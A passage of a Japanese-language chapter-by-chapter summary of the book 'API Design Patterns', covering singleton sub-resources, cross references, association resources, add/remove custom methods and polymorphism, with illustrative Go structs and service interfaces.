シングルトンサブリソースを使用することで、特定のデータの変更履歴や更新頻度を独立して追跡しやすくなります。これにより、システムの運用性と可観測性が向上します。結論第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。シングルトンサブリソースは、特定のデータを親リソースから分離しつつ、強い関連性を維持する効果的な方法です。Get(取得)とUpdate(更新)のみをサポートし、作成と削除は親リソースに依存します。シングルトンサブリソースは、大規模データ、頻繁に更新されるデータ、特別なセキュリティ要件を持つデータの管理に特に有効です。このパターンを採用する際は、データの一貫性維持やAPI複雑性の増加といった課題にも注意を払う必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、シングルトンサブリソースの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。シングルトンサブリソースの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。13 Cross references「API Design Patterns」の第13章「Cross references」は、APIにおけるリソース間の参照の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソース間の参照が単なる技術的な実装の詳細ではなく、APIの柔軟性、一貫性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。リソース間参照の必要性と概要著者は、リソース間参照の必要性から議論を始めています。多くのAPIでは、複数のリソースタイプが存在し、これらのリソース間に関連性がある場合が多々あります。例えば、書籍リソースと著者リソースの関係などが挙げられます。これらの関連性を適切に表現し、管理することが、APIの使いやすさと柔軟性を向上させる上で重要です。著者は、リソース間参照の範囲について、以下のように分類しています。ローカル参照:同じAPI内の他のリソースへの参照グローバル参照:インターネット上の他のリソースへの参照中間的参照:同じプロバイダーが提供する異なるAPI内のリソースへの参照この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 13.1 Resources can point at others in the same API or in external APIs. より引用この図は、リソースが同じAPI内の他のリソース、外部APIのリソース、そしてインターネット上の任意のリソースを参照できることを示しています。これは、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービス、注文サービス、支払いサービスなど、複数のマイクロサービス間でリソースを相互参照する必要がある場合に、この概念が適用されます。著者は、リソース間参照の基本的な実装として、文字列型の一意識別子を使用することを提案しています。これにより、同じAPI内のリソース、異なるAPIのリソース、さらにはインターネット上の任意のリソースを統一的に参照することが可能になります。リソース間参照の実装著者は、リソース間参照の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。参照フィールドの命名: 著者は、参照フィールドの名前に「Id」サフィックスを付けることを推奨しています。例えば、BookリソースがAuthorリソースを参照する場合、参照フィールドはauthorIdと命名します。これにより、フィールドの目的が明確になり、APIの一貫性が向上します。動的リソースタイプの参照: 参照先のリソースタイプが動的に変化する場合、著者は追加のtypeフィールドを使用することを提案しています。これにより、異なるタイプのリソースを柔軟に参照できます。データ整合性: 著者は、参照の整合性(つまり、参照先のリソースが常に存在することを保証すること)を維持することの難しさを指摘しています。代わりに、APIクライアントが参照の有効性を確認する責任を負うアプローチを提案しています。値vs参照: 著者は、参照先のリソースデータをコピーして保持するか(値渡し)、単に参照を保持するか(参照渡し)のトレードオフについて議論しています。一般的に、参照を使用することを推奨していますが、特定の状況では値のコピーが適切な場合もあることを認めています。これらの原則を適用した、Golangでのリソース間参照の実装例を以下に示します。type Book struct { ID string `json:\\"id\\"` Title string `json:\\"title\\"` AuthorID string `json:\\"authorId\\"`}type Author struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"`}type ChangeLogEntry struct { ID string `json:\\"id\\"` TargetID string `json:\\"targetId\\"` TargetType string `json:\\"targetType\\"` Description string `json:\\"description\\"`}この実装では、Book構造体がAuthorIDフィールドを通じてAuthor構造体を参照しています。また、ChangeLogEntry構造体は動的なリソースタイプを参照できるよう設計されています。リソース間参照の利点と課題著者は、リソース間参照の利点と課題について詳細に論じています。利点:柔軟性: リソース間の関係を柔軟に表現できます。一貫性: 参照の表現方法が統一され、APIの一貫性が向上します。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:データ整合性: 参照先のリソースが削除された場合、無効な参照(ダングリングポインタ)が発生する可能性があります。パフォーマンス: 関連するデータを取得するために複数のAPI呼び出しが必要になる場合があります。複雑性: 動的リソースタイプの参照など、一部の実装は複雑になる可能性があります。これらの利点と課題を考慮しながら、リソース間参照の適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: リソース間参照の概念は、マイクロサービス間でのデータの関連付けに直接適用できます。例えば、注文サービスがユーザーサービスのユーザーIDを参照する際に、この設計パターンを使用できます。スケーラビリティとパフォーマンス: 参照を使用することで、各リソースを独立して管理できるため、システムのスケーラビリティが向上します。ただし、関連データの取得に複数のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。データ整合性と可用性のトレードオフ: 強力なデータ整合性を維持しようとすると(例:参照先のリソースの削除を禁止する)、システムの可用性が低下する可能性があります。著者の提案する「緩やかな参照」アプローチは、高可用性を維持しつつ、整合性の問題をクライアント側で処理する責任を負わせます。APIの進化と後方互換性: リソース間参照を適切に設計することで、APIの進化が容易になります。新しいリソースタイプの追加や、既存のリソース構造の変更が、既存の参照に影響を与えにくくなります。監視と運用: リソース間参照を使用する場合、無効な参照の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。これは、システムの長期的な健全性を維持する上で重要な運用タスクとなります。結論第13章「Cross references」は、APIにおけるリソース間参照の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、一貫性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソース間参照は、単純な文字列型の識別子を使用して実装すべきです。参照フィールドの命名には一貫性が重要で、「Id」サフィックスの使用が推奨されます。データ整合性の維持は難しいため、クライアント側で参照の有効性を確認する責任を持たせるアプローチが推奨されます。値のコピーよりも参照の使用が一般的に推奨されますが、特定の状況では値のコピーが適切な場合もあります。GraphQLなどの技術を活用することで、リソース間参照に関連するパフォーマンスの問題を軽減できる可能性があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース間参照の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。リソース間参照の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。14 Association resources「API Design Patterns」の第14章「Association resources」は、多対多の関係を持つリソース間の関連性を扱うAPIデザインパターンについて詳細に解説しています。この章を通じて、著者は関連リソースの概念、その実装方法、そしてトレードオフについて明確に示し、APIの柔軟性、スケーラビリティ、そして長期的な保守性にどのように影響するかを説明しています。関連リソースの必要性と概要著者は、多対多の関係を持つリソースの管理がAPIデザインにおいて重要な課題であることを指摘しています。例えば、ユーザーとグループの関係や、学生と講座の関係などが典型的な例として挙げられます。これらの関係を効果的に表現し管理することは、APIの使いやすさと柔軟性を向上させる上で非常に重要です。関連リソースの概念は、データベース設計における結合テーブルに類似しています。APIの文脈では、この結合テーブルを独立したリソースとして扱うことで、関連性そのものに対する操作や追加のメタデータの管理が可能になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザー管理サービスとグループ管理サービスが別々に存在する場合、これらの間の関係を管理するための独立したサービスやAPIエンドポイントが必要になります。関連リソースのパターンは、このような複雑な関係を効果的に管理するための強力なツールとなります。著者は、関連リソースの基本的な構造として以下の要素を提案しています。独立したリソース識別子関連する両方のリソースへの参照関連性に関する追加のメタデータ(必要に応じて)これらの要素を含む関連リソースは、APIの中で独立したエンティティとして扱われ、標準的なCRUD操作の対象となります。関連リソースの実装著者は、関連リソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。命名規則: 関連リソースの名前は、関連する両方のリソースを反映させるべきです。例えば、ユーザーとグループの関連であれば「UserGroup」や「GroupMembership」などが適切です。標準メソッドのサポート: 関連リソースは通常のリソースと同様に、標準的なCRUD操作(Create, Read, Update, Delete, List)をサポートする必要があります。一意性制約: 同じリソースのペアに対して複数の関連を作成することを防ぐため、一意性制約を実装する必要があります。参照整合性: 関連リソースは、参照するリソースの存在に依存します。著者は、参照整合性の維持方法として、制約(関連するリソースが存在する場合のみ操作を許可)または参照の無効化(関連するリソースが削除された場合に関連を無効化する)のアプローチを提案しています。メタデータの管理: 関連性に関する追加情報(例:ユーザーがグループに参加した日時やロールなど)を保存するためのフィールドを提供します。これらの原則を適用した、関連リソースの実装例を以下に示します。type UserGroupMembership struct { ID string `json:\\"id\\"` UserID string `json:\\"userId\\"` GroupID string `json:\\"groupId\\"` JoinedAt time.Time `json:\\"joinedAt\\"` Role string `json:\\"role\\"`}type UserGroupService interface { CreateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) GetMembership(ctx context.Context, id string) (*UserGroupMembership, error) UpdateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) DeleteMembership(ctx context.Context, id string) error ListMemberships(ctx context.Context, filter string) ([]*UserGroupMembership, error)}この実装例では、UserGroupMembership構造体が関連リソースを表現し、UserGroupServiceインターフェースが標準的なCRUD操作を提供しています。関連リソースの利点と課題著者は、関連リソースのパターンの利点と課題について詳細に論じています。利点:柔軟性: 関連性そのものを独立したリソースとして扱うことで、関連に対する詳細な操作が可能になります。メタデータの管理: 関連性に関する追加情報を容易に管理できます。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。パフォーマンス: 関連データを取得するために追加のAPI呼び出しが必要になる場合があります。整合性の維持: 参照整合性を維持するための追加の仕組みが必要になります。これらの利点と課題を考慮しながら、関連リソースパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: 関連リソースのパターンは、マイクロサービス間のデータの関連付けに直接適用できます。例えば、ユーザーサービスとグループサービスの間の関係を管理する独立したサービスとして実装することができます。スケーラビリティとパフォーマンス: 関連リソースを独立して管理することで、システムのスケーラビリティが向上します。ただし、関連データの取得に追加のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。このトレードオフを管理するために、キャッシング戦略やバッチ処理の導入を検討する必要があるでしょう。データ整合性と可用性のトレードオフ: 参照整合性を厳密に維持しようとすると、システムの可用性が低下する可能性があります。一方で、緩やかな整合性を許容すると、無効な関連が一時的に存在する可能性があります。このトレードオフを適切に管理するために、非同期の整合性チェックやイベント駆動型のアーキテクチャの導入を検討することができます。APIの進化と後方互換性: 関連リソースパターンを採用することで、APIの進化が容易になります。新しいタイプの関連や追加のメタデータを導入する際に、既存のクライアントに影響を与えることなく拡張できます。監視と運用: 関連リソースを使用する場合、無効な関連の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。また、関連リソースの数が増加した場合のパフォーマンスの影響や、ストレージの使用量なども監視する必要があります。セキュリティとアクセス制御: 関連リソースに対するアクセス制御を適切に設計することが重要です。例えば、ユーザーがグループのメンバーシップを表示したり変更したりする権限を、きめ細かく制御する必要があります。クエリの最適化: 関連リソースを効率的に取得するためのクエリパラメータやフィルタリングオプションを提供することが重要です。例えば、特定のユーザーが所属するすべてのグループを一度に取得するような最適化されたエンドポイントを提供することを検討できます。バルク操作のサポート: 大量の関連を一度に作成、更新、削除する必要がある場合、バルク操作をサポートすることで効率性を向上させることができます。イベント駆動設計との統合: 関連リソースの変更(作成、更新、削除)をイベントとして発行することで、他のサービスやシステムコンポーネントが適切に反応し、全体的な整合性を維持することができます。ドキュメンテーションと開発者エクスペリエンス: 関連リソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。API利用者が関連リソースを簡単に作成、管理、クエリできるようなツールやSDKを提供することも検討すべきです。結論第14章「Association resources」は、多対多の関係を持つリソース間の関連性を管理するための重要なパターンを提供しています。このパターンは、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。関連リソースは、多対多の関係を独立したエンティティとして扱うことで、複雑な関係の管理を容易にします。標準的なCRUD操作をサポートし、関連性に関する追加のメタデータを管理できるようにすることが重要です。一意性制約と参照整合性の維持は、関連リソースの設計において重要な考慮事項です。このパターンは柔軟性と拡張性を提供しますが、APIの複雑性とパフォーマンスへの影響を慎重に検討する必要があります。マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは特に有用です。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。関連リソースのパターンを採用する際は、システム全体のアーキテクチャと密接に関連付けて考える必要があります。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。関連リソースパターンの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。また、このパターンは、ビジネスロジックの変更や新しい要件の追加に対して柔軟に対応できる基盤を提供します。最後に、関連リソースパターンの採用は、単なる技術的な決定ではなく、ビジネス要件とシステムの長期的な目標を考慮した戦略的な選択であるべきです。適切に実装された関連リソースは、複雑なビジネスルールや関係性を効果的に表現し、システムの価値を長期的に高めることができます。API設計者とシステム設計者は、この強力なパターンを理解し、適切に活用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。15 Add and remove custom methods「API Design Patterns」の第15章「Add and remove custom methods」は、多対多の関係を持つリソース間の関連性を管理するための代替パターンについて詳細に解説しています。この章を通じて、著者はカスタムのaddおよびremoveメソッドを使用して、関連リソースを導入せずに多対多の関係を管理する方法とそのトレードオフについて明確に示しています。動機と概要著者は、前章で紹介した関連リソースパターンが柔軟性が高い一方で、複雑さも増すことを指摘しています。そこで、より単純なアプローチとして、カスタムのaddおよびremoveメソッドを使用する方法を提案しています。このパターンは、関係性に関するメタデータを保存する必要がない場合や、APIの複雑さを抑えたい場合に特に有効です。このアプローチの核心は、リソース間の関係性を管理するための専用のリソース(関連リソース)を作成せず、代わりに既存のリソースに対してaddとremoveの操作を行うことです。例えば、ユーザーとグループの関係を管理する場合、AddGroupUserやRemoveGroupUserといったメソッドを使用します。この設計パターンは、マイクロサービスアーキテクチャにおいて特に興味深い応用が考えられます。例えば、ユーザー管理サービスとグループ管理サービスが分離されている環境で、これらのサービス間の関係性を簡潔に管理する方法として活用できます。このパターンを採用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することが可能になります。著者は、このパターンの主な制限事項として以下の2点を挙げています。関係性に関するメタデータを保存できないリソース間の関係性に方向性が生まれる(管理するリソースと管理されるリソースが明確に分かれる)これらの制限は、システムの設計と実装に大きな影響を与える可能性があるため、慎重に検討する必要があります。実装の詳細著者は、addおよびremoveカスタムメソッドの実装について詳細なガイダンスを提供しています。主なポイントは以下の通りです。メソッド名の規則: AddおよびRemoveの形式を使用します。例えば、AddGroupUserやRemoveGroupUserといった具合です。リクエストの構造: これらのメソッドは、管理するリソース(親リソース)と関連付けるリソースのIDを含むリクエストを受け取ります。関連リソースの一覧取得: 関連付けられたリソースの一覧を取得するために、カスタムのリストメソッドを提供します。例えば、ListGroupUsersやListUserGroupsといったメソッドです。データの整合性: 重複した関連付けや存在しない関連の削除といった操作に対して、適切なエラーハンドリングを実装する必要があります。これらの原則を適用した実装例を、Golangを用いて示すと以下のようになります。type GroupService interface { AddGroupUser(ctx context.Context, groupID, userID string) error RemoveGroupUser(ctx context.Context, groupID, userID string) error ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) ListUserGroups(ctx context.Context, userID string, pageToken string, pageSize int) ([]*Group, string, error)}func (s *groupService) AddGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 重複チェック、存在チェック、データベース操作など return nil}func (s *groupService) RemoveGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 存在チェック、データベース操作など return nil}func (s *groupService) ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) { // 実装の詳細... // ページネーション処理、データベースクエリなど return users, nextPageToken, nil}この実装例では、GroupServiceインターフェースがaddとremoveのカスタムメソッド、および関連リソースの一覧を取得するためのメソッドを定義しています。これらのメソッドは、グループとユーザー間の関係性を管理するための基本的な操作を提供します。利点と課題著者は、このパターンの主な利点と課題について詳細に論じています。利点:シンプルさ: 関連リソースを導入せずに多対多の関係を管理できるため、APIの構造がシンプルになります。実装の容易さ: 既存のリソースに対するカスタムメソッドとして実装できるため、新しいリソースタイプを導入する必要がありません。パフォーマンス: 関連リソースを介さずに直接操作できるため、特定のシナリオではパフォーマンスが向上する可能性があります。課題:メタデータの制限: 関係性に関する追加のメタデータ(例:関連付けられた日時、関連の種類など)を保存できません。方向性の制約: リソース間の関係に明確な方向性が生まれるため、一部のユースケースでは直感的でない設計になる可能性があります。柔軟性の低下: 関連リソースパターンと比較して、関係性の表現や操作の柔軟性が低下します。これらの利点と課題を考慮しながら、システムの要件に応じてこのパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: addとremoveカスタムメソッドを使用することで、特定のシナリオではシステムのスケーラビリティとパフォーマンスが向上する可能性があります。例えば、大規模なソーシャルネットワークアプリケーションで、ユーザー間のフォロー関係を管理する場合、このパターンを使用することで、関連リソースを介さずに直接的かつ効率的に関係性を操作できます。運用の簡素化: このパターンを採用することで、関連リソースの管理が不要になるため、システムの運用が簡素化される可能性があります。例えば、データベースのスキーマがシンプルになり、マイグレーションやバックアップの複雑さが軽減されます。マイクロサービスアーキテクチャとの親和性: このパターンは、マイクロサービス間の関係性を管理する際に特に有用です。例えば、ユーザーサービスとコンテンツサービスが分離されている環境で、ユーザーがコンテンツに「いいね」をつける機能を実装する場合、このパターンを使用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することができます。API進化の容易さ: 関連リソースを導入せずに関係性を管理できるため、APIの進化が容易になる可能性があります。新しい種類の関係性を追加する際に、既存のリソースに新しいカスタムメソッドを追加するだけで対応できます。監視と可観測性: addとremoveの操作が明示的なメソッドとして定義されているため、これらの操作の頻度や性能を直接的に監視しやすくなります。これにより、システムの挙動をより細かく把握し、最適化の機会を見出すことができます。セキュリティとアクセス制御: カスタムメソッドを使用することで、関係性の操作に対する細かなアクセス制御を実装しやすくなります。例えば、特定のユーザーグループのみがグループにメンバーを追加できるようにするといった制御が容易になります。バッチ処理とバルク操作: このパターンは、大量の関係性を一度に操作する必要がある場合にも適しています。例えば、AddGroupUsersやRemoveGroupUsersといったバルク操作用のメソッドを追加することで、効率的な処理が可能になります。イベント駆動アーキテクチャとの統合: addやremove操作をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。例えば、ユーザーがグループに追加されたときに、通知サービスや権限管理サービスにイベントを発行し、適切なアクションを起こすことができます。結論第15章「Add and remove custom methods」は、多対多の関係を管理するための代替パターンとして、カスタムのaddおよびremoveメソッドの使用を提案しています。このパターンは、APIの複雑さを抑えつつ、効率的に関係性を管理したい場合に特に有効です。特に重要な点は以下の通りです。このパターンは、関連リソースを導入せずに多対多の関係を管理できるため、APIの構造をシンプルに保つことができます。addとremoveのカスタムメソッドを使用することで、関係性の操作が明示的かつ直感的になります。関係性に関するメタデータを保存できないという制限があるため、適用する前にユースケースを慎重に検討する必要があります。このパターンは、マイクロサービスアーキテクチャやイベント駆動アーキテクチャとの親和性が高く、効率的なシステム設計を可能にします。運用の簡素化、監視の容易さ、セキュリティ制御の柔軟性など、システム全体の管理性向上にも貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。ただし、このパターンの採用を検討する際は、システムの要件と制約を慎重に評価する必要があります。関係性に関するメタデータが重要である場合や、リソース間の関係に明確な方向性を持たせたくない場合は、前章で紹介された関連リソースパターンの方が適している可能性があります。最後に、API設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。addとremoveカスタムメソッドのパターンを採用する際は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にどのように貢献するかを常に考慮する必要があります。適切に実装されたこのパターンは、システムの進化と拡張を容易にし、長期的な保守性を向上させる強力なツールとなります。API設計者とシステム設計者は、このパターンの利点と制限を十分に理解し、プロジェクトの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは複雑な関係性を効率的に管理するための強力な選択肢となり得ます。16 Polymorphism「API Design Patterns」の第16章「Polymorphism」は、APIにおけるポリモーフィズムの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はオブジェクト指向プログラミングの強力な概念であるポリモーフィズムをAPIデザインに適用する方法と、それがAPIの柔軟性、保守性、そして長期的な進化可能性にどのように影響を与えるかを明確に示しています。ポリモーフィズムの必要性と概要著者は、オブジェクト指向プログラミング(OOP)におけるポリモーフィズムの概念から議論を始めています。ポリモーフィズムは、異なる具体的な型に対して共通のインターフェースを使用する能力を提供し、特定の型と対話する際に理解する必要がある実装の詳細を最小限に抑えます。著者は、この強力な概念をオブジェクト指向プログラミングの世界からリソース指向のAPIデザインの世界に翻訳する方法を探求しています。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、メッセージングサービスを考えてみましょう。テキストメッセージ、画像メッセージ、音声メッセージなど、様々な種類のメッセージが存在する可能性があります。これらのメッセージタイプは共通の特性(送信者、タイムスタンプなど)を持ちながら、それぞれ固有の属性(テキスト内容、画像URL、音声ファイルの長さなど)も持っています。ポリモーフィックリソースを使用することで、これらの異なるメッセージタイプを単一のMessageリソースとして扱い、共通の操作(作成、取得、一覧表示など)を提供しつつ、各タイプに固有の属性や振る舞いを維持することができます。これにより、APIの一貫性が向上し、クライアントの実装が簡素化されます。著者は、ポリモーフィックリソースの基本的な構造として以下の要素を提案しています。一意の識別子リソースのタイプを示す明示的なフィールド共通の属性タイプ固有の属性これらの要素を組み合わせることで、APIは柔軟で拡張可能なリソース表現を提供することができます。ポリモーフィックリソースの実装著者は、ポリモーフィックリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。タイプフィールドの定義: リソースのタイプを示すフィールドは、単純な文字列として実装することが推奨されています。これにより、新しいタイプの追加が容易になります。データ構造: ポリモーフィックリソースは、すべてのサブタイプの属性をカバーするスーパーセットとして設計されます。これにより、各タイプに固有の属性を柔軟に扱うことができます。バリデーション: タイプに応じて異なるバリデーションルールを適用する必要があります。例えば、テキストメッセージと画像メッセージでは、contentフィールドの有効な値が異なります。標準メソッドの実装: ポリモーフィックリソースに対する標準的なCRUD操作は、通常のリソースと同様に実装されますが、タイプに応じて異なる振る舞いを持つ可能性があります。これらの原則を適用した、Golangでのポリモーフィックリソースの実装例を以下に示します。type MessageType stringconst ( TextMessage MessageType = \\"text\\" ImageMessage MessageType = \\"image\\" AudioMessage MessageType = \\"audio\\")type Message struct { ID string `json:\\"id\\"` Type MessageType `json:\\"type\\"` Sender string `json:\\"sender\\"` Timestamp time.Time `json:\\"timestamp\\"` Content interface{} `json:\\"content\\"`}type TextContent struct { Text string `json:\\"text\\"`}type ImageContent struct { URL string `json:\\"url\\"` Width int `json:\\"width\\"` Height int `json:\\"height\\"`}type AudioContent struct { URL string `json:\\"url\\"` Duration float64 `json:\\"duration\\"`}func (m *Message) Validate() error { switch m.Type { case TextMessage: if _, ok := m.Content.(TextContent); !ok { return errors.New(\\"invalid content for text message\\") } case ImageMessage: if _, ok := m.Content.(ImageContent); !ok { return errors.New(\\"invalid content for image message\\") } case AudioMessage: if _, ok := m.Content.(AudioContent); !ok { return errors.New(\\"invalid content for audio message\\") } default: return errors.New(\\"unknown message type\\") } return nil}この実装例では、Message構造体がポリモーフィックリソースを表現し、Contentフィールドがinterface{}型を使用することで、異なるタイプのコンテンツを柔軟に扱えるようになっています。Validateメソッドは、メッセージタイプに応じて適切なバリデーションを行います。ポリモーフィズムの利点と課題著者は、APIにおけるポリモーフィズムの利点と課題について詳細に論じています。利点:柔軟性: 新しいリソースタイプを追加する際に、既存のAPIメソッドを変更する必要がありません。一貫性: 共通の操作を単一のインターフェースで提供することで、APIの一貫性が向上します。クライアントの簡素化: クライアントは、異なるタイプのリソースを統一的に扱うことができます。課題:複雑性の増加: ポリモーフィックリソースの設計と実装は、単一タイプのリソースよりも複雑になる可能性があります。パフォーマンス: タイプに応じた処理が必要なため、一部のケースでパフォーマンスが低下する可能性があります。バージョニングの難しさ: 新しいタイプの追加や既存タイプの変更が、既存のクライアントに影響を与える可能性があります。これらの利点と課題を考慮しながら、ポリモーフィズムの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: ポリモーフィックリソースは、マイクロサービス間でのデータの一貫した表現に役立ちます。例えば、通知サービスが様々な種類の通知(メール、プッシュ通知、SMSなど)を統一的に扱う場合に有用です。スケーラビリティとパフォーマンス: ポリモーフィックリソースを適切に設計することで、新しいリソースタイプの追加が容易になり、システムの拡張性が向上します。ただし、タイプチェックやバリデーションのオーバーヘッドに注意が必要です。運用の簡素化: 共通のインターフェースを使用することで、監視、ログ記録、デバッグなどの運用タスクが簡素化される可能性があります。例えば、すべてのメッセージタイプに対して統一的なログフォーマットを使用できます。APIの進化と後方互換性: ポリモーフィックリソースを使用することで、新しいリソースタイプの追加が容易になります。ただし、既存のタイプを変更する際は、後方互換性に十分注意を払う必要があります。ドキュメンテーションと開発者エクスペリエンス: ポリモーフィックリソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。バリデーションとエラーハンドリング: タイプに応じた適切なバリデーションを実装し、エラーメッセージを明確に定義することが重要です。これにより、APIの信頼性と使いやすさが向上します。キャッシング戦略: ポリモーフィックリソースのキャッシングは複雑になる可能性があります。タイプに応じて異なるキャッシュ戦略を適用することを検討する必要があります。セキュリティとアクセス制御: 異なるタイプのリソースに対して、適切なアクセス制御を実装することが重要です。例えば、特定のユーザーが特定のタイプのメッセージのみを作成できるようにする場合などです。ポリモーフィックメソッドの回避著者は、ポリモーフィックリソースの使用を推奨する一方で、ポリモーフィックメソッド(複数の異なるリソースタイプで動作する単一のAPIメソッド)の使用を強く警告しています。これは非常に重要な指摘です。ポリモーフィックメソッドは、一見すると便利に見えますが、長期的には多くの問題を引き起こす可能性があります。柔軟性の欠如: 異なるリソースタイプが将来的に異なる振る舞いを必要とする可能性があります。ポリモーフィックメソッドはこの柔軟性を制限します。複雑性の増加: メソッド内で多くの条件分岐が必要になり、コードの複雑性が増加します。バージョニングの難しさ: 一部のリソースタイプに対してのみ変更を加えたい場合、既存のクライアントに影響を与えずにそれを行うことが困難になります。ドキュメンテーションの複雑さ: 様々なリソースタイプに対する振る舞いを明確にドキュメント化することが難しくなります。代わりに、著者は各リソースタイプに対して個別のメソッドを定義することを推奨しています。これにより、APIの柔軟性と保守性が向上します。結論第16章「Polymorphism」は、APIにおけるポリモーフィズムの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、拡張性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ポリモーフィックリソースは、異なるサブタイプを持つリソースを効果的に表現し、管理するための強力なツールです。タイプフィールドを使用してリソースのサブタイプを明示的に示すことで、APIの柔軟性と拡張性が向上します。ポリモーフィックリソースの設計には慎重な考慮が必要で、特にデータ構造とバリデーションに注意を払う必要があります。ポリモーフィックメソッドは避けるべきで、代わりに各リソースタイプに対して個別のメソッドを定義することが推奨されます。ポリモーフィズムの適用は、APIの一貫性を向上させつつ、将来的な拡張性を確保するための効果的な手段となります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、ポリモーフィズムの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく